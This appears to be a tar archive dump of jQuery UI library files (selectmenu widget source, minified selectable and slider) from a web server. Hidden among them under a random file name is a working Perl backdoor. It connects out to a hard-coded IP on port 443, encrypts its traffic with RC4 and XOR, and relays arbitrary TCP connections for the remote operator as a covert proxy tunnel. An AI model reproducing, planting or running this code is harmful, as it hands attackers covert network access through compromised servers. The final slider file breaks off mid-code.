"../labels", "../position", "../unique-id", "../version", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.selectmenu", [ $.ui.formResetMixin, { version: "1.13.3", defaultElement: "<select>", options: { appendTo: null, classes: { "ui-selectmenu-button-open": "ui-corner-top", "ui-selectmenu-button-closed": "ui-corner-all" }, disabled: null, icons: { button: "ui-icon-triangle-1-s" }, position: { my: "left top", at: "left bottom", collision: "none" }, width: false, // Callbacks change: null, close: null, focus: null, open: null, select: null }, _create: function() { var selectmenuId = this.element.uniqueId().attr( "id" ); this.ids = { element: selectmenuId, button: selectmenuId + "-button", menu: selectmenuId + "-menu" }; this._drawButton(); this._drawMenu(); this._bindFormResetHandler(); this._rendered = false; this.menuItems = $(); }, _drawButton: function() { var icon, that = this, item = this._parseOption( this.element.find( "option:selected" ), this.element[ 0 ].selectedIndex ); // Associate existing label with the new button this.labels = this.element.labels().attr( "for", this.ids.button ); this._on( this.labels, { click: function( event ) { this.button.trigger( "focus" ); event.preventDefault(); } } ); // Hide original select element this.element.hide(); // Create button this.button = $( "<span>", { tabindex: this.options.disabled ? -1 : 0, id: this.ids.button, role: "combobox", "aria-expanded": "false", "aria-autocomplete": "list", "aria-owns": this.ids.menu, "aria-haspopup": "true", title: this.element.attr( "title" ) } ) .insertAfter( this.element ); this._addClass( this.button, "ui-selectmenu-button ui-selectmenu-button-closed", "ui-button ui-widget" ); icon = $( "<span>" ).appendTo( this.button ); this._addClass( icon, "ui-selectmenu-icon", "ui-icon " + this.options.icons.button ); this.buttonItem = this._renderButtonItem( item ) .appendTo( this.button ); if ( this.options.width !== false ) { this._resizeButton(); } this._on( this.button, this._buttonEvents ); this.button.one( "focusin", function() { // Delay rendering the menu items until the button receives focus. // The menu may have already been rendered via a programmatic open. if ( !that._rendered ) { that._refreshMenu(); } } ); }, _drawMenu: function() { var that = this; // Create menu this.menu = $( "<ul>", { "aria-hidden": "true", "aria-labelledby": this.ids.button, id: this.ids.menu } ); // Wrap menu this.menuWrap = $( "<div>" ).append( this.menu ); this._addClass( this.menuWrap, "ui-selectmenu-menu", "ui-front" ); this.menuWrap.appendTo( this._appendTo() ); // Initialize menu widget this.menuInstance = this.menu .menu( { classes: { "ui-menu": "ui-corner-bottom" }, role: "listbox", select: function( event, ui ) { event.preventDefault(); // Support: IE8 // If the item was selected via a click, the text selection // will be destroyed in IE that._setSelection(); that._select( ui.item.data( "ui-selectmenu-item" ), event ); }, focus: function( event, ui ) { var item = ui.item.data( "ui-selectmenu-item" ); // Prevent inital focus from firing and check if its a newly focused item if ( that.focusIndex != null && item.index !== that.focusIndex ) { that._trigger( "focus", event, { item: item } ); if ( !that.isOpen ) { that._select( item, event ); } } that.focusIndex = item.index; that.button.attr( "aria-activedescendant", that.menuItems.eq( item.index ).attr( "id" ) ); } } ) .menu( "instance" ); // Don't close the menu on mouseleave this.menuInstance._off( this.menu, "mouseleave" ); // Cancel the menu's collapseAll on document click this.menuInstance._closeOnDocumentClick = function() { return false; }; // Selects often contain empty items, but never contain dividers this.menuInstance._isDivider = function() { return false; }; }, refresh: function() { this._refreshMenu(); this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( // Fall back to an empty object in case there are no options this._getSelectedItem().data( "ui-selectmenu-item" ) || {} ) ); if ( this.options.width === null ) { this._resizeButton(); } }, _refreshMenu: function() { var item, options = this.element.find( "option" ); this.menu.empty(); this._parseOptions( options ); this._renderMenu( this.menu, this.items ); this.menuInstance.refresh(); this.menuItems = this.menu.find( "li" ) .not( ".ui-selectmenu-optgroup" ) .find( ".ui-menu-item-wrapper" ); this._rendered = true; if ( !options.length ) { return; } item = this._getSelectedItem(); // Update the menu to have the correct item focused this.menuInstance.focus( null, item ); this._setAria( item.data( "ui-selectmenu-item" ) ); // Set disabled state this._setOption( "disabled", this.element.prop( "disabled" ) ); }, open: function( event ) { if ( this.options.disabled ) { return; } // If this is the first time the menu is being opened, render the items if ( !this._rendered ) { this._refreshMenu(); } else { // Menu clears focus on close, reset focus to selected item this._removeClass( this.menu.find( ".ui-state-active" ), null, "ui-state-active" ); this.menuInstance.focus( null, this._getSelectedItem() ); } // If there are no options, don't open the menu if ( !this.menuItems.length ) { return; } this.isOpen = true; this._toggleAttr(); this._resizeMenu(); this._position(); this._on( this.document, this._documentClick ); this._trigger( "open", event ); }, _position: function() { this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) ); }, close: function( event ) { if ( !this.isOpen ) { return; } this.isOpen = false; this._toggleAttr(); this.range = null; this._off( this.document ); this._trigger( "close", event ); }, widget: function() { return this.button; }, menuWidget: function() { return this.menu; }, _renderButtonItem: function( item ) { var buttonItem = $( "<span>" ); this._setText( buttonItem, item.label ); this._addClass( buttonItem, "ui-selectmenu-text" ); return buttonItem; }, _renderMenu: function( ul, items ) { var that = this, currentOptgroup = ""; $.each( items, function( index, item ) { var li; if ( item.optgroup !== currentOptgroup ) { li = $( "<li>", { text: item.optgroup } ); that._addClass( li, "ui-selectmenu-optgroup", "ui-menu-divider" + ( item.element.parent( "optgroup" ).prop( "disabled" ) ? " ui-state-disabled" : "" ) ); li.appendTo( ul ); currentOptgroup = item.optgroup; } that._renderItemData( ul, item ); } ); }, _renderItemData: function( ul, item ) { return this._renderItem( ul, item ).data( "ui-selectmenu-item", item ); }, _renderItem: function( ul, item ) { var li = $( "<li>" ), wrapper = $( "<div>", { title: item.element.attr( "title" ) } ); if ( item.disabled ) { this._addClass( li, null, "ui-state-disabled" ); } if ( item.hidden ) { li.prop( "hidden", true ); } else { this._setText( wrapper, item.label ); } return li.append( wrapper ).appendTo( ul ); }, _setText: function( element, value ) { if ( value ) { element.text( value ); } else { element.html( " " ); } }, _move: function( direction, event ) { var item, next, filter = ".ui-menu-item"; if ( this.isOpen ) { item = this.menuItems.eq( this.focusIndex ).parent( "li" ); } else { item = this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" ); filter += ":not(.ui-state-disabled)"; } if ( direction === "first" || direction === "last" ) { next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 ); } else { next = item[ direction + "All" ]( filter ).eq( 0 ); } if ( next.length ) { this.menuInstance.focus( event, next ); } }, _getSelectedItem: function() { return this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" ); }, _toggle: function( event ) { this[ this.isOpen ? "close" : "open" ]( event ); }, _setSelection: function() { var selection; if ( !this.range ) { return; } if ( window.getSelection ) { selection = window.getSelection(); selection.removeAllRanges(); selection.addRange( this.range ); // Support: IE8 } else { this.range.select(); } // Support: IE // Setting the text selection kills the button focus in IE, but // restoring the focus doesn't kill the selection. this.button.trigger( "focus" ); }, _documentClick: { mousedown: function( event ) { if ( !this.isOpen ) { return; } if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" + $.escapeSelector( this.ids.button ) ).length ) { this.close( event ); } } }, _buttonEvents: { // Prevent text selection from being reset when interacting with the selectmenu (#10144) mousedown: function() { var selection; if ( window.getSelection ) { selection = window.getSelection(); if ( selection.rangeCount ) { this.range = selection.getRangeAt( 0 ); } // Support: IE8 } else { this.range = document.selection.createRange(); } }, click: function( event ) { this._setSelection(); this._toggle( event ); }, keydown: function( event ) { var preventDefault = true; switch ( event.keyCode ) { case $.ui.keyCode.TAB: case $.ui.keyCode.ESCAPE: this.close( event ); preventDefault = false; break; case $.ui.keyCode.ENTER: if ( this.isOpen ) { this._selectFocusedItem( event ); } break; case $.ui.keyCode.UP: if ( event.altKey ) { this._toggle( event ); } else { this._move( "prev", event ); } break; case $.ui.keyCode.DOWN: if ( event.altKey ) { this._toggle( event ); } else { this._move( "next", event ); } break; case $.ui.keyCode.SPACE: if ( this.isOpen ) { this._selectFocusedItem( event ); } else { this._toggle( event ); } break; case $.ui.keyCode.LEFT: this._move( "prev", event ); break; case $.ui.keyCode.RIGHT: this._move( "next", event ); break; case $.ui.keyCode.HOME: case $.ui.keyCode.PAGE_UP: this._move( "first", event ); break; case $.ui.keyCode.END: case $.ui.keyCode.PAGE_DOWN: this._move( "last", event ); break; default: this.menu.trigger( event ); preventDefault = false; } if ( preventDefault ) { event.preventDefault(); } } }, _selectFocusedItem: function( event ) { var item = this.menuItems.eq( this.focusIndex ).parent( "li" ); if ( !item.hasClass( "ui-state-disabled" ) ) { this._select( item.data( "ui-selectmenu-item" ), event ); } }, _select: function( item, event ) { var oldIndex = this.element[ 0 ].selectedIndex; // Change native select element this.element[ 0 ].selectedIndex = item.index; this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( item ) ); this._setAria( item ); this._trigger( "select", event, { item: item } ); if ( item.index !== oldIndex ) { this._trigger( "change", event, { item: item } ); } this.close( event ); }, _setAria: function( item ) { var id = this.menuItems.eq( item.index ).attr( "id" ); this.button.attr( { "aria-labelledby": id, "aria-activedescendant": id } ); this.menu.attr( "aria-activedescendant", id ); }, _setOption: function( key, value ) { if ( key === "icons" ) { var icon = this.button.find( "span.ui-icon" ); this._removeClass( icon, null, this.options.icons.button ) ._addClass( icon, null, value.button ); } this._super( key, value ); if ( key === "appendTo" ) { this.menuWrap.appendTo( this._appendTo() ); } if ( key === "width" ) { this._resizeButton(); } }, _setOptionDisabled: function( value ) { this._super( value ); this.menuInstance.option( "disabled", value ); this.button.attr( "aria-disabled", value ); this._toggleClass( this.button, null, "ui-state-disabled", value ); this.element.prop( "disabled", value ); if ( value ) { this.button.attr( "tabindex", -1 ); this.close(); } else { this.button.attr( "tabindex", 0 ); } }, _appendTo: function() { var element = this.options.appendTo; if ( element ) { element = element.jquery || element.nodeType ? $( element ) : this.document.find( element ).eq( 0 ); } if ( !element || !element[ 0 ] ) { element = this.element.closest( ".ui-front, dialog" ); } if ( !element.length ) { element = this.document[ 0 ].body; } return element; }, _toggleAttr: function() { this.button.attr( "aria-expanded", this.isOpen ); // We can't use two _toggleClass() calls here, because we need to make sure // we always remove classes first and add them second, otherwise if both classes have the // same theme class, it will be removed after we add it. this._removeClass( this.button, "ui-selectmenu-button-" + ( this.isOpen ? "closed" : "open" ) ) ._addClass( this.button, "ui-selectmenu-button-" + ( this.isOpen ? "open" : "closed" ) ) ._toggleClass( this.menuWrap, "ui-selectmenu-open", null, this.isOpen ); this.menu.attr( "aria-hidden", !this.isOpen ); }, _resizeButton: function() { var width = this.options.width; // For `width: false`, just remove inline style and stop if ( width === false ) { this.button.css( "width", "" ); return; } // For `width: null`, match the width of the original element if ( width === null ) { width = this.element.show().outerWidth(); this.element.hide(); } this.button.outerWidth( width ); }, _resizeMenu: function() { this.menu.outerWidth( Math.max( this.button.outerWidth(), // Support: IE10 // IE10 wraps long text (possibly a rounding bug) // so we add 1px to avoid the wrapping this.menu.width( "" ).outerWidth() + 1 ) ); }, _getCreateOptions: function() { var options = this._super(); options.disabled = this.element.prop( "disabled" ); return options; }, _parseOptions: function( options ) { var that = this, data = []; options.each( function( index, item ) { data.push( that._parseOption( $( item ), index ) ); } ); this.items = data; }, _parseOption: function( option, index ) { var optgroup = option.parent( "optgroup" ); return { element: option, index: index, value: option.val(), label: option.text(), hidden: optgroup.prop( "hidden" ) || option.prop( "hidden" ), optgroup: optgroup.attr( "label" ) || "", disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" ) }; }, _destroy: function() { this._unbindFormResetHandler(); this.menuWrap.remove(); this.button.remove(); this.element.show(); this.element.removeUniqueId(); this.labels.attr( "for", this.ids.element ); } } ] ); } ); jquery/ui/2ikr382p 0000755 00000022033 15111757754 0007727 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.171'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); jquery/ui/selectable.min.js 0000644 00000010632 15111757754 0011742 0 ustar 00 /*! * jQuery UI Selectable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","../version","../widget"],e):e(jQuery)}(function(u){"use strict";return u.widget("ui.selectable",u.ui.mouse,{version:"1.13.3",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var s=this;this._addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){s.elementPos=u(s.element[0]).offset(),s.selectees=u(s.options.filter,s.element[0]),s._addClass(s.selectees,"ui-selectee"),s.selectees.each(function(){var e=u(this),t=e.offset(),t={left:t.left-s.elementPos.left,top:t.top-s.elementPos.top};u.data(this,"selectable-item",{element:this,$element:e,left:t.left,top:t.top,right:t.left+e.outerWidth(),bottom:t.top+e.outerHeight(),startselected:!1,selected:e.hasClass("ui-selected"),selecting:e.hasClass("ui-selecting"),unselecting:e.hasClass("ui-unselecting")})})},this.refresh(),this._mouseInit(),this.helper=u("<div>"),this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item"),this._mouseDestroy()},_mouseStart:function(s){var l=this,e=this.options;this.opos=[s.pageX,s.pageY],this.elementPos=u(this.element[0]).offset(),this.options.disabled||(this.selectees=u(e.filter,this.element[0]),this._trigger("start",s),u(e.appendTo).append(this.helper),this.helper.css({left:s.pageX,top:s.pageY,width:0,height:0}),e.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var e=u.data(this,"selectable-item");e.startselected=!0,s.metaKey||s.ctrlKey||(l._removeClass(e.$element,"ui-selected"),e.selected=!1,l._addClass(e.$element,"ui-unselecting"),e.unselecting=!0,l._trigger("unselecting",s,{unselecting:e.element}))}),u(s.target).parents().addBack().each(function(){var e,t=u.data(this,"selectable-item");if(t)return e=!s.metaKey&&!s.ctrlKey||!t.$element.hasClass("ui-selected"),l._removeClass(t.$element,e?"ui-unselecting":"ui-selected")._addClass(t.$element,e?"ui-selecting":"ui-unselecting"),t.unselecting=!e,t.selecting=e,(t.selected=e)?l._trigger("selecting",s,{selecting:t.element}):l._trigger("unselecting",s,{unselecting:t.element}),!1}))},_mouseDrag:function(l){var e,i,n,c,a,r,o;if(this.dragged=!0,!this.options.disabled)return n=(i=this).options,c=this.opos[0],a=this.opos[1],(r=l.pageX)<c&&(e=r,r=c,c=e),(o=l.pageY)<a&&(e=o,o=a,a=e),this.helper.css({left:c,top:a,width:r-c,height:o-a}),this.selectees.each(function(){var e=u.data(this,"selectable-item"),t=!1,s={};e&&e.element!==i.element[0]&&(s.left=e.left+i.elementPos.left,s.right=e.right+i.elementPos.left,s.top=e.top+i.elementPos.top,s.bottom=e.bottom+i.elementPos.top,"touch"===n.tolerance?t=!(r<s.left||s.right<c||o<s.top||s.bottom<a):"fit"===n.tolerance&&(t=c<s.left&&s.right<r&&a<s.top&&s.bottom<o),t?(e.selected&&(i._removeClass(e.$element,"ui-selected"),e.selected=!1),e.unselecting&&(i._removeClass(e.$element,"ui-unselecting"),e.unselecting=!1),e.selecting||(i._addClass(e.$element,"ui-selecting"),e.selecting=!0,i._trigger("selecting",l,{selecting:e.element}))):(e.selecting&&((l.metaKey||l.ctrlKey)&&e.startselected?(i._removeClass(e.$element,"ui-selecting"),e.selecting=!1,i._addClass(e.$element,"ui-selected"),e.selected=!0):(i._removeClass(e.$element,"ui-selecting"),e.selecting=!1,e.startselected&&(i._addClass(e.$element,"ui-unselecting"),e.unselecting=!0),i._trigger("unselecting",l,{unselecting:e.element}))),!e.selected||l.metaKey||l.ctrlKey||e.startselected||(i._removeClass(e.$element,"ui-selected"),e.selected=!1,i._addClass(e.$element,"ui-unselecting"),e.unselecting=!0,i._trigger("unselecting",l,{unselecting:e.element}))))}),!1},_mouseStop:function(t){var s=this;return this.dragged=!1,u(".ui-unselecting",this.element[0]).each(function(){var e=u.data(this,"selectable-item");s._removeClass(e.$element,"ui-unselecting"),e.unselecting=!1,e.startselected=!1,s._trigger("unselected",t,{unselected:e.element})}),u(".ui-selecting",this.element[0]).each(function(){var e=u.data(this,"selectable-item");s._removeClass(e.$element,"ui-selecting")._addClass(e.$element,"ui-selected"),e.selecting=!1,e.selected=!0,e.startselected=!0,s._trigger("selected",t,{selected:e.element})}),this._trigger("stop",t),this.helper.remove(),!1}})}); jquery/ui/slider.min.js 0000644 00000025007 15111757754 0011123 0 ustar 00 /*! * jQuery UI Slider 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","../keycode","../version","../widget"],e):e(jQuery)}(function(o){"use strict";return o.widget("ui.slider",o.ui.mouse,{version:"1.13.3",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,t=this.options,i=this.element.find(".ui-slider-handle"),s=[],a=t.values&&t.values.length||1;for(i.length>a&&(i.slice(a).remove(),i=i.slice(0,a)),e=i.length;e<a;e++)s.push("<span tabindex='0'></span>");this.handles=i.add(o(s.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){o(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var e=this.options;e.range?(!0===e.range&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:Array.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=o("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),"min"!==e.range&&"max"!==e.range||this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var i,s,a,n,t,h,l=this,u=this.options;return!u.disabled&&(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),t={x:e.pageX,y:e.pageY},i=this._normValueFromMouse(t),s=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var t=Math.abs(i-l.values(e));(t<s||s===t&&(e===l._lastChangedValue||l.values(e)===u.min))&&(s=t,a=o(this),n=e)}),!1!==this._start(e,n))&&(this._mouseSliding=!0,this._handleIndex=n,this._addClass(a,null,"ui-state-active"),a.trigger("focus"),t=a.offset(),h=!o(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-t.left-a.width()/2,top:e.pageY-t.top-a.height()/2-(parseInt(a.css("borderTopWidth"),10)||0)-(parseInt(a.css("borderBottomWidth"),10)||0)+(parseInt(a.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,n,i),this._animateOff=!0)},_mouseStart:function(){return!0},_mouseDrag:function(e){var t={x:e.pageX,y:e.pageY},t=this._normValueFromMouse(t);return this._slide(e,this._handleIndex,t),!1},_mouseStop:function(e){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(e,this._handleIndex),this._change(e,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(e){var t,e="horizontal"===this.orientation?(t=this.elementSize.width,e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(t=this.elementSize.height,e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),e=e/t;return(e=1<e?1:e)<0&&(e=0),"vertical"===this.orientation&&(e=1-e),t=this._valueMax()-this._valueMin(),e=this._valueMin()+e*t,this._trimAlignValue(e)},_uiHash:function(e,t,i){var s={handle:this.handles[e],handleIndex:e,value:void 0!==t?t:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==t?t:this.values(e),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(e,t){return this._trigger("start",e,this._uiHash(t))},_slide:function(e,t,i){var s,a=this.value(),n=this.values();this._hasMultipleValues()&&(s=this.values(t?0:1),a=this.values(t),2===this.options.values.length&&!0===this.options.range&&(i=0===t?Math.min(s,i):Math.max(s,i)),n[t]=i),i!==a&&!1!==this._trigger("slide",e,this._uiHash(t,i,n))&&(this._hasMultipleValues()?this.values(t,i):this.value(i))},_stop:function(e,t){this._trigger("stop",e,this._uiHash(t))},_change:function(e,t){this._keySliding||this._mouseSliding||(this._lastChangedValue=t,this._trigger("change",e,this._uiHash(t)))},value:function(e){if(!arguments.length)return this._value();this.options.value=this._trimAlignValue(e),this._refreshValue(),this._change(null,0)},values:function(e,t){var i,s,a;if(1<arguments.length)this.options.values[e]=this._trimAlignValue(t),this._refreshValue(),this._change(null,e);else{if(!arguments.length)return this._values();if(!Array.isArray(e))return 